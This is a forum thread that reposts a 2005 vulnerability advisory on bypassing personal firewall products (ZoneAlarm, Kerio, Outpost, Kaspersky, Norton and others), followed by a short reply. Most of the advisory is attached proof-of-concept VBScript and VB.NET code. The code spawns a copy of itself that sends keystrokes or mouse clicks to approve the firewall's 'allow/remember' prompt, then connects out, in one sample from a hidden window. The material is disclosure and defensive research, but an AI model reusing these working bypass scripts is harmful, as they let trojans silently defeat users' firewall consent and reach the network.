Likes Likes:  0
Resultaten 1 tot 2 van de 2
Geen
  1. #1
    Ferruh Mavituna
    Multiple Firewall Products Bypass Vulnerability
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Multiple Firewall Products Bypass Vulnerability

    This is a multi-part message in MIME format.

    ------=_NextPart_000_0292_01C4F1E0.EBCFF7E0
    Content-Type: text/plain;
    charset="us-ascii"
    Content-Transfer-Encoding: 7bit

    -------------------------------------------------------------------
    Multiple Firewall Products Bypass Vulnerability
    -------------------------------------------------------------------
    Online URL : http://ferruh.mavituna.com/article/?769
    Download POC : http://ferruh.mavituna.com/opensourc...wallbypass.zip
    (Also I attached vbs files as txt, one of them is -mousecontrol.txt- vb.net
    source code)

    This is a generic problem of common Personal Firewall products which are
    accept shortcuts or provide an interface that enables to click without
    require a password for controlled actions (acting as server -listening
    ports-, executing another program, connecting to another computer etc.).

    -------------------------------------------------------------------
    Problem;
    -------------------------------------------------------------------
    Most of personal firewalls allow shortcuts or interface for controlling
    traffic. It's simple to bypass these firewalls by a multithreaded program
    and sending keys or by contolling mouse.

    This flaw enables that any Trojan or similar programs can easily bypass
    firewall and act as a server or access to another computer. Also most of
    these firewalls have a "remember" option so if you bypass firewall and
    successfully exploit it, firewall will never ask again.

    This is a similar threat with shattering attacks, but different method and
    impact.

    Vulnerable Products (Sending Key Method and Mouse Control);
    These products are vulnerable to both of "Sending Key Method" and "Mouse
    Control Method"

    Test Platforms;
    Fully Patched Windows XP Professional and Windows 2003 Enterprise Edition
    (May 19, 2004 - 01.01.2005)

    1. ZoneAlarm / ZoneAlarm Pro (www.zonelabs.com) | Fixed
    I. 4.5.530.000 - Tested
    II. 4.5.538.001 - Tested
    III. 5 and newer versions are not vulnerable...

    2. Kerio (www.kerio.com)
    I. 4.0.14 - Tested
    II. All Versions

    3. Agnitium Outpost Firewall (www.agnitium.com)
    I. 2.1.303.4009 (314) - Tested
    II. 2.5.369.4608 (369) - Tested
    II. All Versions

    4. Kaspersky Anti-Hacker (www.kaspersky.com)
    I. 1.5.119.0 - Tested
    II. All Versions

    5. Look 'n' Stop (www.looknstop.com)
    I. 2.04p2 - Tested
    II. All Versions

    6. Symantec's Norton Personal Firewall (www.norton.com)
    I. 2004 - Tested
    II. All Versions

    -------------------------------------------------------------------
    Vulnerable Products (Mouse Control);
    -------------------------------------------------------------------
    These products are only vulnerable to "Mouse Control Method", because they
    don't accept shortcuts but still vulnerable to "Mouse Control" attacks.

    1. Panda Platinum Internet Security
    I. 8.03 (tested)
    II. All Versions

    2. Omniquad Personal Firewall
    I. 1.1 (tested)
    II. All Versions


    -------------------------------------------------------------------
    Proof of Concept;
    -------------------------------------------------------------------
    2 Proof of Concepts attached to advisory (also some other POCs for some
    firewalls)

    First POC (bypassSendKey.vbs) written in VBScript (.vbs), This POC include
    required samples for ZoneAlarm, Kerio, Agnitium, Kaspersky Anti-Hacker, Look
    'n' Stop and Symantec's Norton Personal Firewall. This script is executing
    an instance of itself for multithreading and send shortcuts to firewall
    while first instance trying to connect internet. I didn't write an auto
    determine firewall function (but it's so easy), so you need to set it by
    yourself.

    Second (bypassMouseControl.txt) simulates an example of bypassing Zone Alarm
    Firewall by with mouse control, code in VB.NET. Program is not using a real
    multithread because some firewalls interrupt executing of program directly.
    So program is executing another instance of itself with an argument.

    Both of them add themselves to secure app list of firewalls and then bypass
    active firewall.

    Also I attached testFirewall.vbs for testing your firewall for application
    control.

    -------------------------------------------------------------------
    Solution;
    -------------------------------------------------------------------
    All firewalls should ask password for all kind of "Allow" actions. In fact
    passwords can be fooled because of its nature but it is the best user
    friendly / secure solution for protection.

    As a user of these firewalls, if your firewall supports to "deny all
    default" option, enable it, so your firewall deny all connections by
    default. After that you may can manually select programs for allow them.

    -------------------------------------------------------------------
    Final Words;
    -------------------------------------------------------------------
    This is a methodology for bypassing interacted firewalls so it's possible
    that this advisory affects other firewalls in market. Also it's possible
    that future firewalls will be affected too. I think for now this is a
    serious problem for firewalls, until they imply password/random human need
    text method for "Allow/Deny" actions.

    -------------------------------------------------------------------
    History;
    -------------------------------------------------------------------
    Discovered: 03.05.2004
    Vendors Informed: 28.08.2004
    Published: 03.01.2005

    -------------------------------------------------------------------
    Vendors Status;
    -------------------------------------------------------------------
    Special thanks to ZoneLabs Team.


    Ferruh Mavituna
    http://ferruh.mavituna.com
    pgpkey : http://ferruh.mavituna.com/PGPKey.asc


    ------=_NextPart_000_0292_01C4F1E0.EBCFF7E0
    Content-Type: text/plain;
    name="outpost.txt"
    Content-Transfer-Encoding: quoted-printable
    Content-Disposition: attachment;
    filename="outpost.txt"

    '************************************************* **********
    '// By Ferruh Mavituna=20
    '// ferruh{@}mavituna.com, http://ferruh.mavituna.com
    '************************************************* **********
    '// Date : 4/25/2004
    '// Simple POC for Skipping Zone Alarm Firewall with sendKeys and =
    multithreading
    '// Related Advisory : NOT PUBLISHED YET
    '************************************************* **********
    'Modified for Agnitium Outpost Firewall 2.1.303.4009 (314)
    'Tested : Agnitium Outpost Firewall 2.5.369.4608 (369)
    '5/5/2004
    '02.01.2005
    'Ferruh Mavituna
    'Const DELAY =3D 1000
    'Const TIMES =3D 1
    'Const EXTRADELAY =3D 0

    '************************************************* **********

    Option Explicit

    Dim argLen, shell, sendKeyMod, i, appName
    Const DELAY =3D 1000
    Const TIMES =3D 1
    Const EXTRADELAY =3D 0

    appName =3D Wscript.ScriptName

    'SendKey
    sendkeyMod =3D False
    argLen =3D WScript.Arguments.Length
    If argLen>0 Then sendkeyMod =3D True=20

    Set shell =3D WScript.CreateObject("WScript.Shell")

    If sendKeyMod Then
    =09
    'First Sleep for a while
    If EXTRADELAY>0 Then WScript.Sleep EXTRADELAY

    'Force
    While i<TIMES
    i=3Di+1
    WScript.Sleep DELAY
    '1) First add it trusted
    shell.sendKeys "+{TAB}" 'Go back once
    shell.sendKeys "{UP 2}" 'Go Up

    '1) Press Enter
    shell.sendKeys "{ENTER}" 'Enter
    Wend

    'Exit
    'Wscript.Echo "Exit !"
    Wscript.Quit 1
    End If

    'Wscript.Echo WScript.ScriptFullName
    Call shell.Run(appName & " /send")

    'Connect
    Wscript.Echo connect("http://ferruh.mavituna.com") & "Mission =
    Accomplished..."

    Set shell =3D Nothing
    Wscript.Quit 1


    Function connect(ByVal URL)
    Dim web
    Set web =3D CreateObject("Microsoft.XmlHttp")
    web.open "HEAD", URL, FALSE
    web.send ""
    connect =3D web.getAllResponseHeaders
    Set web =3D Nothing
    End Function
    ------=_NextPart_000_0292_01C4F1E0.EBCFF7E0
    Content-Type: text/plain;
    name="anti-hacker.txt"
    Content-Transfer-Encoding: quoted-printable
    Content-Disposition: attachment;
    filename="anti-hacker.txt"

    '************************************************* **********
    '// By Ferruh Mavituna=20
    '// ferruh{@}mavituna.com, http://ferruh.mavituna.com
    '************************************************* **********
    '// Date : 4/25/2004
    '// Simple POC for Bypassing multiple firewall products
    '// Related Advisory : NOT PUBLISHED YET
    '************************************************* **********
    'HISTORY
    '3/5/2004
    'Added ZA

    '5/5/2004
    'Added Kerio, Outpost

    '6/5/2004
    'Added Kaspersky Anti-Hacker=20
    '************************************************* **********

    Option Explicit

    Dim arrKeys(5,5), arrDelays(5,2), arrRegistry(5,1),intFirewall
    Const EXTRADELAY =3D 0
    Const DETERMINEFIREWALL =3D FALSE 'Auto Determine current Firewall

    '----------------------------------------------
    'Define Delays and Times for Firewalls
    '----------------------------------------------
    '// Firewalls
    'ZoneAlarm Pro, 4.5.530 (tested Windows 2003 & WinXP)
    Const ZoneAlarm =3D 0
    =09
    'Kerio 4.0.14
    Const Kerio =3D 1

    'Agnitium Outpost Firewall 2.1.303.4009 (314)
    Const Outpost =3D 2

    'Kaspersky Anti-Hacker 1.5.119.0
    Const Kaspersky =3D 3

    'Select Active Firewall
    intFirewall =3D Kaspersky

    '// Configuration
    'Kaspersky Anti-Hacker=20
    arrDelays(Kaspersky,0) =3D 1000
    arrDelays(Kaspersky,1) =3D 1

    'Define Keys for Firewalls
    arrKeys(Kaspersky,0) =3D "{ENTER}"



    If DETERMINEFIREWALL Then
    'TODO:Read Registries and determine it !
    End If

    Dim argLen, shell, sendKeyMod, i, j, appName
    appName =3D Wscript.ScriptName

    'SendKey
    sendkeyMod =3D False
    argLen =3D WScript.Arguments.Length
    If argLen>0 Then sendkeyMod =3D True=20

    Set shell =3D WScript.CreateObject("WScript.Shell")

    If sendKeyMod Then
    =09
    'First Sleep for a while
    If EXTRADELAY>0 Then WScript.Sleep EXTRADELAY

    'Force
    While i<arrDelays(intFirewall,1)
    i=3Di+1
    WScript.Sleep arrDelays(intFirewall,0)
    =09
    'Send Keys
    For j=3D0 To Ubound(arrKeys,2)
    If arrKeys(intFirewall,j)<>"" Then=20
    shell.sendKeys arrKeys(intFirewall,j)
    End If
    Next

    Wend

    'Exit
    'Wscript.Echo "Exit !"
    Wscript.Quit 1
    End If

    'Wscript.Echo WScript.ScriptFullName
    Call shell.Run(appName & " /send")

    'Connect
    Wscript.Echo connect("http://ferruh.mavituna.com") & "Mission =
    Accomplished..."

    Set shell =3D Nothing
    Wscript.Quit 1


    Function connect(ByVal URL)
    Dim web
    Set web =3D CreateObject("Microsoft.XmlHttp")
    web.open "HEAD", URL, FALSE
    web.send ""
    connect =3D web.getAllResponseHeaders
    Set web =3D Nothing
    End Function
    ------=_NextPart_000_0292_01C4F1E0.EBCFF7E0
    Content-Type: text/plain;
    name="ZoneAlarm.txt"
    Content-Transfer-Encoding: quoted-printable
    Content-Disposition: attachment;
    filename="ZoneAlarm.txt"

    '************************************************* **********
    '// By Ferruh Mavituna=20
    '// ferruh{@}mavituna.com, http://ferruh.mavituna.com
    '************************************************* **********
    '// Date : 4/25/2004
    '// Simple POC for Skipping Zone Alarm Firewall with sendKeys and =
    multithreading
    '// Related Advisory : NOT PUBLISHED YET
    '************************************************* **********
    Option Explicit

    Dim argLen, shell, sendKeyMod, i
    Const DELAY =3D 10
    Const TIMES =3D 15

    'SendKey
    sendkeyMod =3D False
    argLen =3D WScript.Arguments.Length
    If argLen>0 Then sendkeyMod =3D True=20

    Set shell =3D WScript.CreateObject("WScript.Shell")

    If sendKeyMod Then
    While i<TIMES
    i=3Di+1
    WScript.Sleep DELAY
    shell.sendKeys "%R" 'Remember, Do not ask again !
    shell.sendKeys "%Y" 'Click Yes
    Wend

    'Exit
    'Wscript.Echo "Exit !"
    Wscript.Quit 1
    End If

    'Wscript.Echo WScript.ScriptFullName
    Call shell.Run("skipZA.vbs /send")

    'Connect
    Wscript.Echo connect("http://ferruh.mavituna.com") & "Mission =
    Accomplished..."

    Set shell =3D Nothing
    Wscript.Quit 1


    Function connect(ByVal URL)
    Dim web
    Set web =3D CreateObject("Microsoft.XmlHttp")
    web.open "HEAD", URL, FALSE
    web.send ""
    connect =3D web.getAllResponseHeaders
    Set web =3D Nothing
    End Function
    ------=_NextPart_000_0292_01C4F1E0.EBCFF7E0
    Content-Type: text/plain;
    name="testFirewall.txt"
    Content-Transfer-Encoding: quoted-printable
    Content-Disposition: attachment;
    filename="testFirewall.txt"

    '************************************************* **********
    '// By Ferruh Mavituna=20
    '// ferruh{@}mavituna.com, http://ferruh.mavituna.com
    '************************************************* **********
    '// Date : 4/25/2004
    '// Simple POC for Skipping Zone Alarm Firewall with sendKeys and =
    multithreading
    '// Simple Firewall Test File
    '// Related Advisory : NOT PUBLISHED YET
    '************************************************* **********
    Option Explicit

    Dim shell, sendKeyMod, Result
    Const URL =3D "http://ferruh.mavituna.com"

    'Connect
    Wscript.Echo "Now I'll try to connect to " & URL

    If connect(URL,Result) Then
    Wscript.Echo "Mission Accomplished..., Here is the headers;" & =
    vbNewline & Result
    Else
    Wscript.Echo "OK, I couldn't access to Internet"
    End If

    Set shell =3D Nothing
    Wscript.Quit 1

    Function connect(ByVal URL, ByRef Result)
    connect =3D True
    On Error Resume Next
    =09
    ERR.Clear
    Dim web
    Set web =3D CreateObject("Microsoft.XmlHttp")
    web.open "HEAD", URL, FALSE
    web.send ""
    Result =3D web.getAllResponseHeaders
    Set web =3D Nothing

    If ERR<>0 Then connect =3D False
    End Function
    ------=_NextPart_000_0292_01C4F1E0.EBCFF7E0
    Content-Type: text/plain;
    name="norton.txt"
    Content-Transfer-Encoding: quoted-printable
    Content-Disposition: attachment;
    filename="norton.txt"

    '************************************************* **********
    '// By Ferruh Mavituna=20
    '// ferruh{@}mavituna.com, http://ferruh.mavituna.com
    '************************************************* **********
    '// Date : 4/25/2004
    '// Simple POC for Skipping Zone Alarm Firewall with sendKeys and =
    multithreading
    '// Related Advisory : NOT PUBLISHED YET
    '************************************************* **********
    Option Explicit

    Dim argLen, shell, sendKeyMod, i
    Const DELAY =3D 10
    Const TIMES =3D 15

    'SendKey
    sendkeyMod =3D False
    argLen =3D WScript.Arguments.Length
    If argLen>0 Then sendkeyMod =3D True=20

    Set shell =3D WScript.CreateObject("WScript.Shell")

    If sendKeyMod Then
    While i<TIMES
    i=3Di+1
    WScript.Sleep DELAY
    shell.sendKeys "%A" 'Remember, Do not ask again !
    shell.sendKeys "%O" 'Click Yes
    Wend
    'Customized for norton fw by Oezguer Mavituna
    'Exit
    'Wscript.Echo "Exit !"
    Wscript.Quit 1
    End If

    'Wscript.Echo WScript.ScriptFullName
    Call shell.Run("skipZA.vbs /send")

    'Connect
    Wscript.Echo connect("http://ferruh.mavituna.com") & "Mission =
    Accomplished..."

    Set shell =3D Nothing
    Wscript.Quit 1


    Function connect(ByVal URL)
    Dim web
    Set web =3D CreateObject("Microsoft.XmlHttp")
    web.open "HEAD", URL, FALSE
    web.send ""
    connect =3D web.getAllResponseHeaders
    Set web =3D Nothing
    End Function
    ------=_NextPart_000_0292_01C4F1E0.EBCFF7E0
    Content-Type: text/plain;
    name="mousecontrol.txt"
    Content-Transfer-Encoding: quoted-printable
    Content-Disposition: attachment;
    filename="mousecontrol.txt"

    '************************************************* **********
    '// By Ferruh Mavituna=20
    '// ferruh{@}mavituna.com, http://ferruh.mavituna.com
    '************************************************* **********
    '// Date : 5/19/2004
    '// Simple POC for Bypassing multiple firewall products
    '// Code : VB.NET
    '************************************************* **********

    Private Declare Sub mouse_event Lib "user32" (ByVal dwFlags As Long, =
    ByVal dx As Long, ByVal dy As Long, ByVal cbuttons As Long, ByVal =
    dwExtraInfo As Long)
    Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)


    Private Const MOUSEEVENTF_LEFTDOWN =3D &H2
    Private Const MOUSEEVENTF_LEFTUP =3D &H4
    Private Const MOUSEEVENTF_MIDDLEDOWN =3D &H20
    Private Const MOUSEEVENTF_MIDDLEUP =3D &H40
    Private Const MOUSEEVENTF_RIGHTDOWN =3D &H8
    Private Const MOUSEEVENTF_RIGHTUP =3D &H10

    Private Const sleepTime =3D 0.5 'As Second
    Private Const slowMotion =3D True 'Debug !

    'Firewalls
    Const ZoneAlarm As Integer =3D 0

    'Set Points
    Dim arrFirewalls(1, 3) As Integer
    Dim activeFirewall As Integer =3D ZoneAlarm

    Private Sub setupFirewalls()
    'Get Current Screen
    'This is just POC, Real World Example should automaticly detect =
    installed firewall, change sleep times, car about exact positoin, =
    taskbar position etc. But It's easy to write a real world example
    Dim screenY As Integer =3D Screen.PrimaryScreen.Bounds.Height
    Dim screenX As Integer =3D Screen.PrimaryScreen.Bounds.Width

    arrFirewalls(ZoneAlarm, 0) =3D screenX - 250 'X Remember !
    arrFirewalls(ZoneAlarm, 1) =3D screenY - 130 'Y

    arrFirewalls(ZoneAlarm, 2) =3D screenX - 190 ' Yes
    arrFirewalls(ZoneAlarm, 3) =3D screenY - 93

    End Sub

    Private Sub frmFirewallTest_Load(ByVal sender As System.Object, ByVal e =
    As System.EventArgs) Handles MyBase.Load

    'Hide App
    Me.ShowInTaskbar =3D False
    Me.Visible =3D False

    'Args
    Dim flagArg As String =3D Application.ExecutablePath

    If Environment.GetCommandLineArgs().Length > 1 Then

    'Sleep;
    Sleep(sleepTime * 1000)

    'Try;
    setupFirewalls()

    If slowMotion Then Sleep(1000)

    'First Access
    bypassFirewall(arrFirewalls(activeFirewall, 0), =
    arrFirewalls(activeFirewall, 1))

    If slowMotion Then Sleep(1000)
    bypassFirewall(arrFirewalls(activeFirewall, 2), =
    arrFirewalls(activeFirewall, 3))

    'Gain Access for HTTP
    Sleep(300)

    If slowMotion Then Sleep(1000)
    bypassFirewall(arrFirewalls(activeFirewall, 0), =
    arrFirewalls(activeFirewall, 1))

    If slowMotion Then Sleep(1000)
    bypassFirewall(arrFirewalls(activeFirewall, 2), =
    arrFirewalls(activeFirewall, 3))

    'Quit !
    Me.Dispose()
    Else

    System.Diagnostics.Process.Start(flagArg, "skipme")

    'Access Internet
    If downloadURL() Then
    MessageBox.Show("Successed !, Firewall ByPassed !", "Firewall =
    ByPassed !", MessageBoxButtons.OK, MessageBoxIcon.Warning)

    End If

    Me.Dispose()
    End If

    End Sub


    'Bypas POC
    Private Sub bypassFirewall(ByVal X As Integer, ByVal Y As Integer)
    'Save Old Positions for return !
    Dim oldX As Integer =3D Cursor.Position.X
    Dim oldY As Integer =3D Cursor.Position.Y

    'Set New Position
    Cursor.Position =3D New Point(X, Y)

    'Click
    mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0)
    mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0)

    'Return=20
    Cursor.Position =3D New Point(oldX, oldY)

    End Sub

    'Connect Internet
    Private Function downloadURL() As Boolean
    downloadURL =3D True
    Try
    Dim wc As New System.Net.WebClient()
    wc.DownloadFile("http://ferruh.mavituna.com", "C:\firewalltest.htm")
    Catch
    MessageBox.Show("Can not connected !", "Not Connected !", =
    MessageBoxButtons.OK, MessageBoxIcon.Error)
    downloadURL =3D False
    End Try
    End Function

    ------=_NextPart_000_0292_01C4F1E0.EBCFF7E0
    Content-Type: text/plain;
    name="bypassSendKey.txt"
    Content-Transfer-Encoding: quoted-printable
    Content-Disposition: attachment;
    filename="bypassSendKey.txt"

    '************************************************* **********
    '// By Ferruh Mavituna=20
    '// ferruh{@}mavituna.com, http://ferruh.mavituna.com
    '************************************************* **********
    '// Date : 4/25/2004
    '// Simple POC for Bypassing multiple firewall products
    '************************************************* **********
    'HISTORY
    '3/5/2004
    'Added ZA

    '5/5/2004
    'Added Kerio, Outpost

    '6/5/2004
    'Added Kaspersky Anti-Hacker=20
    =09
    '5/9/2004
    'LooknStop

    '5/20/2004
    'Norton
    '************************************************* **********

    Option Explicit

    Dim arrKeys(5,5), arrDelays(5,2), arrRegistry(5,1),intFirewall
    Const EXTRADELAY =3D 0
    Const DETERMINEFIREWALL =3D FALSE 'Auto Determine current Firewall

    '----------------------------------------------
    'Define Delays and Times for Firewalls
    '----------------------------------------------
    '// Firewalls
    'ZoneAlarm Pro, 4.5.530 (tested Windows 2003 & WinXP) | =
    www.zonelabs.com
    Const ZoneAlarm =3D 0
    =09
    'Kerio 4.0.14
    Const Kerio =3D 1

    'Agnitium Outpost Firewall 2.1.303.4009 (314) | www.agnitium.com
    Const Outpost =3D 2

    'Kaspersky Anti-Hacker 1.5.119.0 | www.kaspersky.com
    Const Kaspersky =3D 3

    'Look 'n' Stop 2.04p2 | www.looknstop.com
    Const LooknStop =3D 4

    'Norton | www.norton.com
    Const Norton =3D 5

    'Select Active Firewall
    intFirewall =3D ZoneAlarm


    '// Configuration
    'Define Keys, Delays, Repeat Times for Firewalls
    =09
    'Kaspersky Anti-Hacker=20
    arrDelays(Kaspersky,0) =3D 400
    arrDelays(Kaspersky,1) =3D 2

    arrKeys(Kaspersky,0) =3D "{ENTER}" 'Just say OK

    'ZoneAlarm
    arrDelays(ZoneAlarm,0) =3D 10
    arrDelays(ZoneAlarm,1) =3D 15

    arrKeys(ZoneAlarm,0) =3D "%R" 'Select Remember
    arrKeys(ZoneAlarm,1) =3D "%Y" 'Yes

    'Outpost
    arrDelays(Outpost,0) =3D 1000
    arrDelays(Outpost,1) =3D 1

    arrKeys(Outpost,0) =3D "+{TAB}" 'Go back once
    arrKeys(Outpost,1) =3D "{UP 2}" 'Go Up
    arrKeys(Outpost,1) =3D "{ENTER}" 'Enter

    'Kerio
    arrDelays(Kerio,0) =3D 100
    arrDelays(Kerio,1) =3D 10

    arrKeys(Kerio,0) =3D " " ' Space - Remember, Do not ask again !
    arrKeys(Kerio,1) =3D "%P" ' Yes

    'LookNStop
    arrDelays(LooknStop,0) =3D 1000
    arrDelays(LooknStop,1) =3D 1

    arrKeys(LooknStop,0) =3D "(%+{TAB})" ' Authorize
    arrKeys(LooknStop,1) =3D "{LEFT}" ' Left
    arrKeys(LooknStop, 2) =3D " " ' Space

    'Norton
    arrDelays(Norton,0) =3D 100
    arrDelays(Norton,1) =3D 5

    arrKeys(Norton,0) =3D "%A" ' Allow
    arrKeys(Norton,1) =3D "%O" ' OK


    If DETERMINEFIREWALL Then
    'TODO:Read Registries and determine it !
    End If

    Dim argLen, shell, sendKeyMod, i, j, appName
    appName =3D Wscript.ScriptName

    'SendKey
    sendkeyMod =3D False
    argLen =3D WScript.Arguments.Length
    If argLen>0 Then sendkeyMod =3D True=20

    Set shell =3D WScript.CreateObject("WScript.Shell")

    If sendKeyMod Then
    =09
    'First Sleep for a while
    If EXTRADELAY>0 Then WScript.Sleep EXTRADELAY

    'Force
    While i<arrDelays(intFirewall,1)
    i=3Di+1
    WScript.Sleep arrDelays(intFirewall,0)
    =09
    'Send Keys
    For j=3D0 To Ubound(arrKeys,2)
    If arrKeys(intFirewall,j)<>"" Then=20
    shell.sendKeys arrKeys(intFirewall,j)
    End If
    Next

    Wend

    'Exit
    'Wscript.Echo "Exit !"
    Wscript.Quit 1
    End If

    'Wscript.Echo WScript.ScriptFullName
    Call shell.Run(appName & " /send")

    'Connect
    Wscript.Echo connect("http://ferruh.mavituna.com") & "Mission =
    Accomplished..."

    Set shell =3D Nothing
    Wscript.Quit 1


    Function connect(ByVal URL)
    Dim web
    Set web =3D CreateObject("Microsoft.XmlHttp")
    web.open "HEAD", URL, FALSE
    web.send ""
    connect =3D web.getAllResponseHeaders
    Set web =3D Nothing
    End Function
    ------=_NextPart_000_0292_01C4F1E0.EBCFF7E0
    Content-Type: text/plain;
    name="Kerio.txt"
    Content-Transfer-Encoding: quoted-printable
    Content-Disposition: attachment;
    filename="Kerio.txt"

    '************************************************* **********
    '// By Ferruh Mavituna=20
    '// ferruh{@}mavituna.com, http://ferruh.mavituna.com
    '************************************************* **********
    '// Date : 4/25/2004
    '// Simple POC for Skipping Zone Alarm Firewall with sendKeys and =
    multithreading
    '// Related Advisory : NOT PUBLISHED YET
    '************************************************* **********
    'Modified for Kerio 4.0.14
    '5/5/2004
    'Ferruh Mavituna
    'Const DELAY =3D 100
    'Const TIMES =3D 10
    '************************************************* **********

    Option Explicit

    Dim argLen, shell, sendKeyMod, i, appName
    Const DELAY =3D 100
    Const TIMES =3D 10

    appName =3D Wscript.ScriptName

    'SendKey
    sendkeyMod =3D False
    argLen =3D WScript.Arguments.Length
    If argLen>0 Then sendkeyMod =3D True=20

    Set shell =3D WScript.CreateObject("WScript.Shell")

    If sendKeyMod Then
    While i<TIMES
    i=3Di+1
    WScript.Sleep DELAY
    shell.sendKeys " " 'Remember, Do not ask again !
    shell.sendKeys "%P" 'Click Yes
    Wend

    'Exit
    'Wscript.Echo "Exit !"
    Wscript.Quit 1
    End If

    'Wscript.Echo WScript.ScriptFullName
    Call shell.Run(appName & " /send")

    'Connect
    Wscript.Echo connect("http://ferruh.mavituna.com") & "Mission =
    Accomplished..."

    Set shell =3D Nothing
    Wscript.Quit 1


    Function connect(ByVal URL)
    Dim web
    Set web =3D CreateObject("Microsoft.XmlHttp")
    web.open "HEAD", URL, FALSE
    web.send ""
    connect =3D web.getAllResponseHeaders
    Set web =3D Nothing
    End Function
    ------=_NextPart_000_0292_01C4F1E0.EBCFF7E0--


  2. #2
    Ansgar -59cobalt- Wiechers
    Multiple Firewall Products Bypass Vulnerability
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: Multiple Firewall Products Bypass Vulnerability

    On 2005-01-03 Ferruh Mavituna wrote:
    > -------------------------------------------------------------------
    > Multiple Firewall Products Bypass Vulnerability
    > -------------------------------------------------------------------
    > Online URL : http://ferruh.mavituna.com/article/?769
    > Download POC : http://ferruh.mavituna.com/opensourc...wallbypass.zip
    > (Also I attached vbs files as txt, one of them is -mousecontrol.txt-
    > vb.net source code)
    >
    > This is a generic problem of common Personal Firewall products which
    > are accept shortcuts or provide an interface that enables to click
    > without require a password for controlled actions (acting as server
    > -listening ports-, executing another program, connecting to another
    > computer etc.).


    There was a demonstration of this very problem on a lecture the Chaos
    Computer Club Ulm held on December 13th at the University of Ulm. We had
    two sample applications to circumvent Kerio and Nortion Personal
    Firewalls. During this lecture we also demonstrated how a malicious
    application could establish a remote shell without any Personal Firewall
    taking notice.

    http://www.ulm.ccc.de/chaos-seminar/personal-firewalls/

    Up to now the page is only available in german, sorry.

    Regards
    Ansgar Wiechers
    --
    "Those who would give up liberty for a little temporary safety
    deserve neither liberty nor safety, and will lose both."
    --Benjamin Franklin

Webhostingtalk.nl

Contact

  • Rokin 113-115
  • 1012 KP, Amsterdam
  • Nederland
  • Contact
© Copyright 2001-2026 Webhostingtalk.nl.
Web Statistics